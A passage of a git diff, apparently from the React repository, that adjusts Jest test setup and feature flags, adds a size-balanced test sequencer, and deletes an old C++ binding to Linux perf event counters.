+// This is needed because test files that load the Node server (with async debug hooks)
+// can pollute test files that load the Edge server (which doesn't create new hooks
+// to trigger the cleanup in the mock above).
+afterEach(() => {
+  if (installedHook) {
+    installedHook.disable();
+    installedHook = null;
+  }
+});
diff --git a/scripts/jest/setupTests.persistent.js b/scripts/jest/setupTests.persistent.js
index 1d3f33a68e58..e3e6d6434aa5 100644
--- a/scripts/jest/setupTests.persistent.js
+++ b/scripts/jest/setupTests.persistent.js
@@ -1,7 +1,3 @@
 'use strict';
 
-jest.mock('react-noop-renderer', () =>
-  jest.requireActual('react-noop-renderer/persistent')
-);
-
 global.__PERSISTENT__ = true;
diff --git a/scripts/jest/setupTests.www.js b/scripts/jest/setupTests.www.js
index 485f1b80b683..9628dc3e1fcd 100644
--- a/scripts/jest/setupTests.www.js
+++ b/scripts/jest/setupTests.www.js
@@ -8,9 +8,6 @@ jest.mock('shared/ReactFeatureFlags', () => {
   );
   const actual = jest.requireActual('shared/forks/ReactFeatureFlags.www');
 
-  // This flag is only used by tests, it should never be set elsewhere.
-  actual.forceConcurrentByDefaultForTesting = !__VARIANT__;
-
   // Flags that aren't currently used, but we still want to force variants to keep the
   // code live.
   actual.disableInputAttributeSyncing = __VARIANT__;
@@ -18,9 +15,11 @@ jest.mock('shared/ReactFeatureFlags', () => {
   // These are hardcoded to true for the next release,
   // but still run the tests against both variants until
   // we remove the flag.
-  actual.disableIEWorkarounds = __VARIANT__;
   actual.disableClientCache = __VARIANT__;
 
+  // Some value that doesn't impact existing tests
+  actual.ownerStackLimit = __VARIANT__ ? 500 : 1e4;
+
   return actual;
 });
 
@@ -38,9 +37,9 @@ jest.mock('scheduler/src/SchedulerFeatureFlags', () => {
     schedulerSrcPath + '/src/forks/SchedulerFeatureFlags.www'
   );
 
-  // These flags are not a dynamic on www, but we still want to run
-  // tests in both versions.
-  actual.enableSchedulerDebugging = __VARIANT__;
+  // Add flags here that are not a dynamic on www,
+  // but we still want to run tests in both versions.
+  // <this list is empty>
 
   return actual;
 });
diff --git a/scripts/jest/setupTests.xplat.js b/scripts/jest/setupTests.xplat.js
index 859a5065988d..35e1a8a9d24a 100644
--- a/scripts/jest/setupTests.xplat.js
+++ b/scripts/jest/setupTests.xplat.js
@@ -22,12 +22,11 @@ jest.mock('shared/ReactFeatureFlags', () => {
   actual.enableScopeAPI = true;
   actual.enableTaint = false;
 
+  // Some value that doesn't impact existing tests
+  actual.ownerStackLimit = __VARIANT__ ? 500 : 1e4;
+
   return actual;
 });
 
-jest.mock('react-noop-renderer', () =>
-  jest.requireActual('react-noop-renderer/persistent')
-);
-
 global.__PERSISTENT__ = true;
 global.__XPLAT__ = true;
diff --git a/scripts/jest/sizeBalancedSequencer.js b/scripts/jest/sizeBalancedSequencer.js
new file mode 100644
index 000000000000..318cd136be41
--- /dev/null
+++ b/scripts/jest/sizeBalancedSequencer.js
@@ -0,0 +1,28 @@
+'use strict';
+
+const Sequencer = require('@jest/test-sequencer').default;
+const fs = require('fs');
+
+class SizeBalancedSequencer extends Sequencer {
+  shard(tests, {shardIndex, shardCount}) {
+    const shards = Array.from({length: shardCount}, () => ({
+      tests: [],
+      size: 0,
+    }));
+    const sorted = [...tests].sort(
+      (a, b) => fs.statSync(b.path).size - fs.statSync(a.path).size
+    );
+
+    for (let i = 0; i < sorted.length; i++) {
+      const test = sorted[i];
+      const size = fs.statSync(test.path).size;
+      const smallest = shards.reduce((min, s) => (s.size < min.size ? s : min));
+      smallest.tests.push(test);
+      smallest.size += size;
+    }
+
+    return shards[shardIndex - 1].tests;
+  }
+}
+
+module.exports = SizeBalancedSequencer;
diff --git a/scripts/jest/spec-equivalence-reporter/setupTests.js b/scripts/jest/spec-equivalence-reporter/setupTests.js
index 487e0d300307..a561fb4b4d1d 100644
--- a/scripts/jest/spec-equivalence-reporter/setupTests.js
+++ b/scripts/jest/spec-equivalence-reporter/setupTests.js
@@ -7,6 +7,11 @@
 
 'use strict';
 
+const {
+  patchConsoleMethods,
+  resetAllUnexpectedConsoleCalls,
+  assertConsoleLogsCleared,
+} = require('internal-test-utils/consoleMock');
 const spyOn = jest.spyOn;
 
 // Spying on console methods in production builds can mask errors.
@@ -36,8 +41,24 @@ global.spyOnProd = function (...args) {
   }
 };
 
+// Patch the console to assert that all console error/warn/log calls assert.
+patchConsoleMethods({includeLog: !!process.env.CI});
+beforeEach(resetAllUnexpectedConsoleCalls);
+afterEach(assertConsoleLogsCleared);
+
+// TODO: enable this check so we don't forget to reset spyOnX mocks.
+// afterEach(() => {
+//   if (
+//       console[methodName] !== mockMethod &&
+//       !jest.isMockFunction(console[methodName])
+//   ) {
+//     throw new Error(
+//       `Test did not tear down console.${methodName} mock properly.`
+//     );
+//   }
+// });
+
 expect.extend({
   ...require('../matchers/reactTestMatchers'),
   ...require('../matchers/toThrow'),
-  ...require('../matchers/toWarnDev'),
 });
diff --git a/scripts/jest/typescript/jest.d.ts b/scripts/jest/typescript/jest.d.ts
index 57e93783665a..ff450acf5339 100644
--- a/scripts/jest/typescript/jest.d.ts
+++ b/scripts/jest/typescript/jest.d.ts
@@ -8,7 +8,7 @@ declare function describe(name: string, fn: any): void;
 declare const it: {
   (name: string, fn: any): void;
   only: (name: string, fn: any) => void;
-}
+};
 declare function expect(val: any): Expect;
 declare const jest: Jest;
 declare function pit(name: string, fn: any): void;
@@ -19,55 +19,53 @@ declare function xdescribe(name: string, fn: any): void;
 declare function xit(name: string, fn: any): void;
 
 interface Expect {
-  not: Expect
-  toThrow(message?: string): void
-  toThrowError(message?: string): void
-  toErrorDev(message?: string | Array<string>, options?: any): void
-  toWarnDev(message?: string | Array<string>, options?: any): void
-  toBe(value: any): void
-  toEqual(value: any): void
-  toBeFalsy(): void
-  toBeTruthy(): void
-  toBeNull(): void
-  toBeUndefined(): void
-  toBeDefined(): void
-  toMatch(regexp: RegExp): void
-  toContain(string: string): void
-  toBeCloseTo(number: number, delta: number): void
-  toBeGreaterThan(number: number): void
-  toBeLessThan(number: number): void
-  toBeCalled(): void
-  toBeCalledWith(...arguments): void
-  lastCalledWith(...arguments): void
+  not: Expect;
+  toThrow(message?: string): void;
+  toThrowError(message?: string): void;
+  toBe(value: any): void;
+  toEqual(value: any): void;
+  toBeFalsy(): void;
+  toBeTruthy(): void;
+  toBeNull(): void;
+  toBeUndefined(): void;
+  toBeDefined(): void;
+  toMatch(regexp: RegExp): void;
+  toContain(string: string): void;
+  toBeCloseTo(number: number, delta: number): void;
+  toBeGreaterThan(number: number): void;
+  toBeLessThan(number: number): void;
+  toBeCalled(): void;
+  toBeCalledWith(...arguments): void;
+  lastCalledWith(...arguments): void;
 }
 
 interface Jest {
-  autoMockOff(): void
-  autoMockOn(): void
-  clearAllTimers(): void
-  dontMock(moduleName: string): void
-  genMockFromModule(moduleObj: Object): Object
-  genMockFunction(): MockFunction
-  genMockFn(): MockFunction
-  mock(moduleName: string): void
-  runAllTicks(): void
-  runAllTimers(): void
-  runOnlyPendingTimers(): void
-  setMock(moduleName: string, moduleExports: Object): void
+  autoMockOff(): void;
+  autoMockOn(): void;
+  clearAllTimers(): void;
+  dontMock(moduleName: string): void;
+  genMockFromModule(moduleObj: Object): Object;
+  genMockFunction(): MockFunction;
+  genMockFn(): MockFunction;
+  mock(moduleName: string): void;
+  runAllTicks(): void;
+  runAllTimers(): void;
+  runOnlyPendingTimers(): void;
+  setMock(moduleName: string, moduleExports: Object): void;
 }
 
 interface MockFunction {
-  (...arguments): any
+  (...arguments): any;
   mock: {
-    calls: Array<Array<any>>
-    instances: Array<Object>
-  }
-  mockClear(): void
-  mockImplementation(fn: Function): MockFunction
-  mockImpl(fn: Function): MockFunction
-  mockReturnThis(): MockFunction
-  mockReturnValue(value: any): MockFunction
-  mockReturnValueOnce(value: any): MockFunction
+    calls: Array<Array<any>>;
+    instances: Array<Object>;
+  };
+  mockClear(): void;
+  mockImplementation(fn: Function): MockFunction;
+  mockImpl(fn: Function): MockFunction;
+  mockReturnThis(): MockFunction;
+  mockReturnValue(value: any): MockFunction;
+  mockReturnValueOnce(value: any): MockFunction;
 }
 
 declare const check: any;
diff --git a/scripts/perf-counters/Makefile b/scripts/perf-counters/Makefile
deleted file mode 100644
index a52850f66dfd..000000000000
--- a/scripts/perf-counters/Makefile
+++ /dev/null
@@ -1,3 +0,0 @@
-build/jsc-perf: src/*
-	mkdir -p build
-	g++ -std=c++11 -I/usr/include/webkitgtk-1.0/ -ljavascriptcoregtk-1.0 src/jsc-perf.cpp src/hardware-counter.cpp src/thread-local.cpp -o build/jsc-perf
diff --git a/scripts/perf-counters/README.md b/scripts/perf-counters/README.md
deleted file mode 100644
index 48fa7ec7538e..000000000000
--- a/scripts/perf-counters/README.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# perf-counters
-
-Lightweight bindings to Linux perf event counters.
-
-```
-$ node
-> var PerfCounters = require('perf-counters');
-> PerfCounters.init();
-> var start = PerfCounters.getCounters(); console.log('test'); var end = PerfCounters.getCounters();
-test
-> start
-{ instructions: 1382, loads: 421, stores: 309 }
-> end
-{ instructions: 647633, loads: 195771, stores: 133246 }
->
-```
diff --git a/scripts/perf-counters/binding.gyp b/scripts/perf-counters/binding.gyp
deleted file mode 100644
index 397d2c7f1482..000000000000
--- a/scripts/perf-counters/binding.gyp
+++ /dev/null
@@ -1,15 +0,0 @@
-{
-  "targets": [
-    {
-      "target_name": "perfcounters",
-      "sources": [
-        "src/hardware-counter.cpp",
-        "src/perf-counters.cpp",
-        "src/thread-local.cpp",
-      ],
-      "cflags": [
-        "-Wno-sign-compare",
-      ],
-    },
-  ],
-}
diff --git a/scripts/perf-counters/index.js b/scripts/perf-counters/index.js
deleted file mode 100644
index 5329a141d555..000000000000
--- a/scripts/perf-counters/index.js
+++ /dev/null
@@ -1,3 +0,0 @@
-'use strict';
-
-module.exports = require('bindings')('perfcounters');
diff --git a/scripts/perf-counters/package.json b/scripts/perf-counters/package.json
deleted file mode 100644
index 7adf990a7704..000000000000
--- a/scripts/perf-counters/package.json
+++ /dev/null
@@ -1,10 +0,0 @@
-{
-  "name": "perf-counters",
-  "version": "0.1.2",
-  "description": "Lightweight bindings to Linux perf event counters.",
-  "main": "index.js",
-  "license": "MIT",
-  "dependencies": {
-    "bindings": "^1.2.1"
-  }
-}
diff --git a/scripts/perf-counters/src/hardware-counter.cpp b/scripts/perf-counters/src/hardware-counter.cpp
deleted file mode 100644
index df61730fd9a5..000000000000
--- a/scripts/perf-counters/src/hardware-counter.cpp
+++ /dev/null
@@ -1,469 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-#include "hardware-counter.h"
-
-#ifndef NO_HARDWARE_COUNTERS
-
-#define _GNU_SOURCE 1
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <assert.h>
-#include <sys/mman.h>
-#include <sys/ioctl.h>
-#include <asm/unistd.h>
-#include <sys/prctl.h>
-#include <linux/perf_event.h>
-
-namespace HPHP {
-///////////////////////////////////////////////////////////////////////////////
-
-IMPLEMENT_THREAD_LOCAL_NO_CHECK(HardwareCounter,
-    HardwareCounter::s_counter);
-
-static bool s_recordSubprocessTimes = false;
-static bool s_profileHWEnable;
-static std::string s_profileHWEvents;
-
-static inline bool useCounters() {
-#ifdef VALGRIND
-  return false;
-#else
-  return s_profileHWEnable;
-#endif
-}
-
-class HardwareCounterImpl {
-public:
-  HardwareCounterImpl(int type, unsigned long config,
-                      const char* desc = nullptr)
-    : m_desc(desc ? desc : ""), m_err(0), m_fd(-1), inited(false) {
-    memset (&pe, 0, sizeof (struct perf_event_attr));
-    pe.type = type;
-    pe.size = sizeof (struct perf_event_attr);
-    pe.config = config;
-    pe.inherit = s_recordSubprocessTimes;
-    pe.disabled = 1;
-    pe.pinned = 0;
-    pe.exclude_kernel = 0;
-    pe.exclude_hv = 1;
-    pe.read_format =
-      PERF_FORMAT_TOTAL_TIME_ENABLED|PERF_FORMAT_TOTAL_TIME_RUNNING;
-    }
-
-  ~HardwareCounterImpl() {
-    close();
-  }
-
-  void init_if_not() {
-    /*
-     * perf_event_open(struct perf_event_attr *hw_event_uptr, pid_t pid,
-     *                 int cpu, int group_fd, unsigned long flags)
-     */
-    if (inited) return;
-    inited = true;
-    m_fd = syscall(__NR_perf_event_open, &pe, 0, -1, -1, 0);
-    if (m_fd < 0) {
-      // Logger::Verbose("perf_event_open failed with: %s",
-      //                 folly::errnoStr(errno).c_str());
-      m_err = -1;
-      return;
-    }
-    if (ioctl(m_fd, PERF_EVENT_IOC_ENABLE, 0) < 0) {
-      // Logger::Warning("perf_event failed to enable: %s",
-      //                 folly::errnoStr(errno).c_str());
-      close();
-      m_err = -1;
-      return;
-    }
-    reset();
-  }
-
-  int64_t read() {
-    uint64_t values[3];
-    if (readRaw(values)) {
-      if (!values[2]) return 0;
-      int64_t value = (double)values[0] * values[1] / values[2];
-      return value + extra;
-    }
-    return 0;
-  }
-
-  void incCount(int64_t amount) {
-    extra += amount;
-  }
-
-  bool readRaw(uint64_t* values) {
-    if (m_err || !useCounters()) return false;
-    init_if_not();
-
-    if (m_fd > 0) {
-      /*
-       * read the count + scaling values
-       *
-       * It is not necessary to stop an event to read its value
-       */
-      auto ret = ::read(m_fd, values, sizeof(*values) * 3);
-      if (ret == sizeof(*values) * 3) {
-        values[0] -= reset_values[0];
-        values[1] -= reset_values[1];
-        values[2] -= reset_values[2];
-        return true;
-      }
-    }
-    return false;
-  }
-
-  void reset() {
-    if (m_err || !useCounters()) return;
-    init_if_not();
-    extra = 0;
-    if (m_fd > 0) {
-      if (ioctl (m_fd, PERF_EVENT_IOC_RESET, 0) < 0) {
-        // Logger::Warning("perf_event failed to reset with: %s",
-        //                 folly::errnoStr(errno).c_str());
-        m_err = -1;
-        return;
-      }
-      auto ret = ::read(m_fd, reset_values, sizeof(reset_values));
-      if (ret != sizeof(reset_values)) {
-        // Logger::Warning("perf_event failed to reset with: %s",
-        //                 folly::errnoStr(errno).c_str());
-        m_err = -1;
-        return;
-      }
-    }
-  }
-
-public:
-  std::string m_desc;
-  int m_err;
-private:
-  int m_fd;
-  struct perf_event_attr pe;
-  bool inited;
-  uint64_t reset_values[3];
-  uint64_t extra{0};
-
-  void close() {
-    if (m_fd > 0) {
-      ::close(m_fd);
-      m_fd = -1;
-    }
-  }
-};
-
-class InstructionCounter : public HardwareCounterImpl {
-public:
-  InstructionCounter() :
-    HardwareCounterImpl(PERF_TYPE_HARDWARE, PERF_COUNT_HW_INSTRUCTIONS) {}
-};
-
-class LoadCounter : public HardwareCounterImpl {
-public:
-  LoadCounter() :
-    HardwareCounterImpl(PERF_TYPE_HW_CACHE,
-        (PERF_COUNT_HW_CACHE_L1D | ((PERF_COUNT_HW_CACHE_OP_READ) << 8))) {}
-};
-
-class StoreCounter : public HardwareCounterImpl {
-public:
-  StoreCounter() :
-    HardwareCounterImpl(PERF_TYPE_HW_CACHE,
-        PERF_COUNT_HW_CACHE_L1D | ((PERF_COUNT_HW_CACHE_OP_WRITE) << 8)) {}
-};
-
-HardwareCounter::HardwareCounter()
-  : m_countersSet(false) {
-  m_instructionCounter.reset(new InstructionCounter());
-  if (s_profileHWEvents.empty()) {
-    m_loadCounter.reset(new LoadCounter());
-    m_storeCounter.reset(new StoreCounter());
-  } else {
-    m_countersSet = true;
-    setPerfEvents(s_profileHWEvents);
-  }
-}
-
-HardwareCounter::~HardwareCounter() {
-}
-
-void HardwareCounter::Init(bool enable, const std::string& events,
-                           bool subProc) {
-  s_profileHWEnable = enable;
-  s_profileHWEvents = events;
-  s_recordSubprocessTimes = subProc;
-}
-
-void HardwareCounter::Reset() {
-  s_counter->reset();
-}
-
-void HardwareCounter::reset() {
-  m_instructionCounter->reset();
-  if (!m_countersSet) {
-    m_storeCounter->reset();
-    m_loadCounter->reset();
-  }
-  for (unsigned i = 0; i < m_counters.size(); i++) {
-    m_counters[i]->reset();
-  }
-}
-
-int64_t HardwareCounter::GetInstructionCount() {
-  return s_counter->getInstructionCount();
-}
-
-int64_t HardwareCounter::getInstructionCount() {
-  return m_instructionCounter->read();
-}
-
-int64_t HardwareCounter::GetLoadCount() {
-  return s_counter->getLoadCount();
-}
-
-int64_t HardwareCounter::getLoadCount() {
-  return m_loadCounter->read();
-}
-
-int64_t HardwareCounter::GetStoreCount() {
-  return s_counter->getStoreCount();
-}
-
-int64_t HardwareCounter::getStoreCount() {
-  return m_storeCounter->read();
-}
-
-void HardwareCounter::IncInstructionCount(int64_t amount) {
-  s_counter->m_instructionCounter->incCount(amount);
-}
-
-void HardwareCounter::IncLoadCount(int64_t amount) {
-  if (!s_counter->m_countersSet) {
-    s_counter->m_loadCounter->incCount(amount);
-  }
-}
-
-void HardwareCounter::IncStoreCount(int64_t amount) {
-  if (!s_counter->m_countersSet) {
-    s_counter->m_storeCounter->incCount(amount);
-  }
-}
-
-struct PerfTable perfTable[] = {
-  /* PERF_TYPE_HARDWARE events */
-#define PC(n)    PERF_TYPE_HARDWARE, PERF_COUNT_HW_ ## n
-  { "cpu-cycles",              PC(CPU_CYCLES)              },
-  { "cycles",                  PC(CPU_CYCLES)              },
-  { "instructions",            PC(INSTRUCTIONS)            },
-  { "cache-references",        PC(CACHE_REFERENCES)        },
-  { "cache-misses",            PC(CACHE_MISSES)            },
-  { "branch-instructions",     PC(BRANCH_INSTRUCTIONS)     },
-  { "branches",                PC(BRANCH_INSTRUCTIONS)     },
-  { "branch-misses",           PC(BRANCH_MISSES)           },
-  { "bus-cycles",              PC(BUS_CYCLES)              },
-  { "stalled-cycles-frontend", PC(STALLED_CYCLES_FRONTEND) },
-  { "stalled-cycles-backend",  PC(STALLED_CYCLES_BACKEND)  },
-
-  /* PERF_TYPE_HW_CACHE hw_cache_id */
-#define PCC(n)   PERF_TYPE_HW_CACHE, PERF_COUNT_HW_CACHE_ ## n
-  { "L1-dcache-",          PCC(L1D)                },
-  { "L1-icache-",          PCC(L1I)                },
-  { "LLC-",                PCC(LL)                 },
-  { "dTLB-",               PCC(DTLB)               },
-  { "iTLB-",               PCC(ITLB)               },
-  { "branch-",             PCC(BPU)                },
-
-  /* PERF_TYPE_HW_CACHE hw_cache_op, hw_cache_result */
-#define PCCO(n, m)  PERF_TYPE_HW_CACHE, \
-                    ((PERF_COUNT_HW_CACHE_OP_ ## n) << 8 | \
-                    (PERF_COUNT_HW_CACHE_RESULT_ ## m) << 16)
-  { "loads",               PCCO(READ, ACCESS)      },
-  { "load-misses",         PCCO(READ, MISS)        },
-  { "stores",              PCCO(WRITE, ACCESS)     },
-  { "store-misses",        PCCO(WRITE, MISS)       },
-  { "prefetches",          PCCO(PREFETCH, ACCESS)  },
-  { "prefetch-misses",     PCCO(PREFETCH, MISS)    }
-};
-
-static int findEvent(const char *event, struct PerfTable *t,
-                     int len, int *match_len) {
-  int i;
-
-  for (i = 0; i < len; i++) {
-    if (!strncmp(event, t[i].name, strlen(t[i].name))) {
-      *match_len = strlen(t[i].name);
-      return i;
-    }
-  }
-  return -1;
-}
-
-#define CPUID_STEPPING(x)  ((x) & 0xf)
-#define CPUID_MODEL(x)     (((x) & 0xf0) >> 4)
-#define CPUID_FAMILY(x)    (((x) & 0xf00) >> 8)
-#define CPUID_TYPE(x)      (((x) & 0x3000) >> 12)
-
-// hack to get LLC counters on perflab frc machines
-static bool isIntelE5_2670() {
-#ifdef __x86_64__
-  unsigned long x;
-  asm volatile ("cpuid" : "=a"(x): "a"(1) : "ebx", "ecx", "edx");
-  return CPUID_STEPPING(x) == 6 && CPUID_MODEL(x) == 0xd
-         && CPUID_FAMILY(x) == 6 && CPUID_TYPE(x) == 0;
-#else
-  return false;
-#endif
-}
-
-static void checkLLCHack(const char* event, uint32_t& type, uint64_t& config) {
-  if (!strncmp(event, "LLC-load", 8) && isIntelE5_2670()) {
-    type = PERF_TYPE_RAW;
-    if (!strncmp(&event[4], "loads", 5)) {
-      config = 0x534f2e;
-    } else if (!strncmp(&event[4], "load-misses", 11)) {
-      config = 0x53412e;
-    }
-  }
-}
-
-bool HardwareCounter::addPerfEvent(const char* event) {
-  uint32_t type = 0;
-  uint64_t config = 0;
-  int i, match_len;
-  bool found = false;
-  const char* ev = event;
-
-  while ((i = findEvent(ev, perfTable,
-                        sizeof(perfTable)/sizeof(struct PerfTable),
-                        &match_len))
-       != -1) {
-    if (!found) {
-      found = true;
-      type = perfTable[i].type;
-    } else if (type != perfTable[i].type) {
-      // Logger::Warning("failed to find perf event: %s", event);
-      return false;
-    }
-    config |= perfTable[i].config;
-    ev = &ev[match_len];
-  }
-
-  checkLLCHack(event, type, config);
-
-  // Check if we have a raw spec.
-  if (!found && event[0] == 'r' && event[1] != 0) {
-    config = strtoull(event + 1, const_cast<char**>(&ev), 16);
-    if (*ev == 0) {
-      found = true;
-      type = PERF_TYPE_RAW;
-    }
-  }
-
-  if (!found || *ev) {
-    // Logger::Warning("failed to find perf event: %s", event);
-    return false;
-  }
-  std::unique_ptr<HardwareCounterImpl> hwc(
-      new HardwareCounterImpl(type, config, event));
-  if (hwc->m_err) {
-    // Logger::Warning("failed to set perf event: %s", event);
-    return false;
-  }
-  m_counters.emplace_back(std::move(hwc));
-  if (!m_countersSet) {
-    // reset load and store counters. This is because
-    // perf does not seem to handle more than three counters
-    // very well.
-    m_loadCounter.reset();
-    m_storeCounter.reset();
-    m_countersSet = true;
-  }
-  return true;
-}
-
-bool HardwareCounter::eventExists(const char *event) {
-  // hopefully m_counters set is small, so a linear scan does not hurt
-  for(unsigned i = 0; i < m_counters.size(); i++) {
-    if (!strcmp(event, m_counters[i]->m_desc.c_str())) {
-      return true;
-    }
-  }
-  return false;
-}
-
-bool HardwareCounter::setPerfEvents(std::string sevents) {
-  // Make a copy of the string for use with strtok.
-  auto const sevents_buf = static_cast<char*>(malloc(sevents.size() + 1));
-  memcpy(sevents_buf, sevents.data(), sevents.size());
-  sevents_buf[sevents.size()] = '\0';
-
-  char* strtok_buf = nullptr;
-  char* s = strtok_r(sevents_buf, ",", &strtok_buf);
-  bool success = true;
-  while (s) {
-    if (!eventExists(s) && !addPerfEvent(s)) {
-      success = false;
-      break;
-    }
-    s = strtok_r(nullptr, ",", &strtok_buf);
-  }
-  free(sevents_buf);
-  return success;
-}
-
-bool HardwareCounter::SetPerfEvents(std::string events) {
-  return s_counter->setPerfEvents(events);
-}
-
-void HardwareCounter::clearPerfEvents() {
-  m_counters.clear();
-}
-
-void HardwareCounter::ClearPerfEvents() {
-  s_counter->clearPerfEvents();
-}
-
-const std::string
-  s_instructions("instructions"),
-  s_loads("loads"),
-  s_stores("stores");
-
-void HardwareCounter::getPerfEvents(PerfEventCallback f, void* data) {
-  f(s_instructions, getInstructionCount(), data);
-  if (!m_countersSet) {
-    f(s_loads, getLoadCount(), data);
-    f(s_stores, getStoreCount(), data);
-  }
-  for (unsigned i = 0; i < m_counters.size(); i++) {
-    f(m_counters[i]->m_desc, m_counters[i]->read(), data);
-  }
-}
-
-void HardwareCounter::GetPerfEvents(PerfEventCallback f, void* data) {
-  s_counter->getPerfEvents(f, data);
-}
-
-///////////////////////////////////////////////////////////////////////////////
-}
-
-
-#else // NO_HARDWARE_COUNTERS
-
-namespace HPHP {
-///////////////////////////////////////////////////////////////////////////////
-
-HardwareCounter HardwareCounter::s_counter;
-
-///////////////////////////////////////////////////////////////////////////////
-}
-
-#endif // NO_HARDWARE_COUNTERS
diff --git a/scripts/perf-counters/src/hardware-counter.h b/scripts/perf-counters/src/hardware-counter.h
deleted file mode 100644
index 2241281e1534..000000000000
--- a/scripts/perf-counters/src/hardware-counter.h
+++ /dev/null
@@ -1,108 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-#ifndef incl_HPHP_UTIL_HARDWARE_COUNTER_H_
-#define incl_HPHP_UTIL_HARDWARE_COUNTER_H_
-
-#include "thread-local.h"
-
-#include <cstdint>
-#include <memory>
-#include <vector>
-
-namespace HPHP {
-///////////////////////////////////////////////////////////////////////////////
-
-#ifndef NO_HARDWARE_COUNTERS
-
-class InstructionCounter;
-class LoadCounter;
-class StoreCounter;
-
-struct PerfTable {
-  const char* name;
-  uint32_t type;
-  uint64_t config;
-};
-
-class HardwareCounterImpl;
-
-class HardwareCounter {
-public:
-  HardwareCounter();
-  ~HardwareCounter();
-
-  static void Reset();
-  static int64_t GetInstructionCount();
-  static int64_t GetLoadCount();
-  static int64_t GetStoreCount();
-  static bool SetPerfEvents(std::string events);
-  static void IncInstructionCount(int64_t amount);
-  static void IncLoadCount(int64_t amount);
-  static void IncStoreCount(int64_t amount);
-
-  typedef void (*PerfEventCallback)(const std::string&, int64_t, void*);
-  static void GetPerfEvents(PerfEventCallback f, void* data);
-  static void ClearPerfEvents();
-  static void Init(bool enable, const std::string& events, bool subProc);
-  static DECLARE_THREAD_LOCAL_NO_CHECK(HardwareCounter, s_counter);
-  bool m_countersSet{false};
-private:
-  void reset();
-  int64_t getInstructionCount();
-  int64_t getLoadCount();
-  int64_t getStoreCount();
-  bool eventExists(const char* event);
-  bool addPerfEvent(const char* event);
-  bool setPerfEvents(std::string events);
-  void getPerfEvents(PerfEventCallback f, void* data);
-  void clearPerfEvents();
-
-  std::unique_ptr<InstructionCounter> m_instructionCounter;
-  std::unique_ptr<LoadCounter> m_loadCounter;
-  std::unique_ptr<StoreCounter> m_storeCounter;
-  std::vector<std::unique_ptr<HardwareCounterImpl>> m_counters;
-};
-
-#else // NO_HARDWARE_COUNTERS
-
-/* Stub implementation for platforms without hardware counters (non-linux)
- * This mock class pretends to track performance events, but just returns
- * static values, so it doesn't even need to worry about thread safety
- * for the one static instance of itself.
- */
-class HardwareCounter {
-public:
-  HardwareCounter() : m_countersSet(false) { }
-  ~HardwareCounter() { }
-
-  static void Reset() { }
-  static int64_t GetInstructionCount() { return 0; }
-  static int64_t GetLoadCount() { return 0; }
-  static int64_t GetStoreCount() { return 0; }
-  static bool SetPerfEvents(folly::StringPiece events) { return false; }
-  static void IncInstructionCount(int64_t amount) {}
-  static void IncLoadCount(int64_t amount) {}
-  static void IncStoreCount(int64_t amount) {}
-  typedef void (*PerfEventCallback)(const std::string&, int64_t, void*);
-  static void GetPerfEvents(PerfEventCallback f, void* data) { }
-  static void ClearPerfEvents() { }
-  static void Init(bool enable, const std::string& events, bool subProc) {}
-
-  // Normally exposed by DECLARE_THREAD_LOCAL_NO_CHECK
-  void getCheck() { }
-  void destroy() { }
-  static HardwareCounter s_counter;
-  bool m_countersSet;
-};
-
-#endif // NO_HARDWARE_COUNTERS
-
-///////////////////////////////////////////////////////////////////////////////
-}
-
-#endif
diff --git a/scripts/perf-counters/src/jsc-perf.cpp b/scripts/perf-counters/src/jsc-perf.cpp
deleted file mode 100644
index fa1c460e85a5..000000000000
--- a/scripts/perf-counters/src/jsc-perf.cpp
+++ /dev/null
@@ -1,202 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-#include <errno.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include <fstream>
-#include <iostream>
-#include <string>
-
-#include <JavaScriptCore/JavaScript.h>
-
-#include "hardware-counter.h"
-
-using HPHP::HardwareCounter;
-
-void add_native_hook(
-  JSContextRef ctx,
-  JSObjectRef obj,
-  const char *name,
-  JSObjectCallAsFunctionCallback hook
-) {
-  JSStringRef jsName = JSStringCreateWithUTF8CString(name);
-  JSObjectSetProperty(
-    ctx,
-    obj,
-    jsName,
-    JSObjectMakeFunctionWithCallback(ctx, jsName, hook),
-    kJSPropertyAttributeNone,
-    NULL
-  );
-  JSStringRelease(jsName);
-}
-
-static void fprint_value(
-  FILE *file,
-  JSContextRef context,
-  JSValueRef obj
-) {
-  JSStringRef jsStr = JSValueToStringCopy(context, obj, NULL);
-  size_t size = JSStringGetMaximumUTF8CStringSize(jsStr);
-  char *str = (char *) calloc(
-    size,
-    1
-  );
-  JSStringGetUTF8CString(
-    jsStr,
-    str,
-    size
-  );
-  JSStringRelease(jsStr);
-  fprintf(file, "%s", str);
-  free(str);
-}
-
-static JSValueRef js_print(
-  JSContextRef context,
-  JSObjectRef object,
-  JSObjectRef thisObject,
-  size_t argumentCount,
-  const JSValueRef arguments[],
-  JSValueRef *exception
-) {
-  for (int i = 0; i < argumentCount; i++) {
-    if (i != 0) {
-      printf(" ");
-    }
-    fprint_value(stdout, context, arguments[i]);
-  }
-  printf("\n");
-  return JSValueMakeUndefined(context);
-}
-
-static JSValueRef js_perf_counters_init(
-  JSContextRef context,
-  JSObjectRef object,
-  JSObjectRef thisObject,
-  size_t argumentCount,
-  const JSValueRef arguments[],
-  JSValueRef *exception
-) {
-  // TODO: Allow customizing recorded events
-  bool enable = true;
-  std::string events = "";
-  bool recordSubprocesses = false;
-  HardwareCounter::Init(enable, events, recordSubprocesses);
-  HardwareCounter::s_counter.getCheck();
-
-  return JSValueMakeUndefined(context);
-}
-
-static JSValueRef js_perf_counters_get_counters(
-  JSContextRef context,
-  JSObjectRef object,
-  JSObjectRef thisObject,
-  size_t argumentCount,
-  const JSValueRef arguments[],
-  JSValueRef *exception
-) {
-  JSObjectRef result = JSObjectMake(context, NULL, NULL);
-  std::pair<JSContextRef, JSObjectRef> pair(context, result);
-
-  HardwareCounter::GetPerfEvents(
-    [](const std::string& key, int64_t value, void* data) {
-      std::pair<JSContextRef, JSObjectRef>& pair =
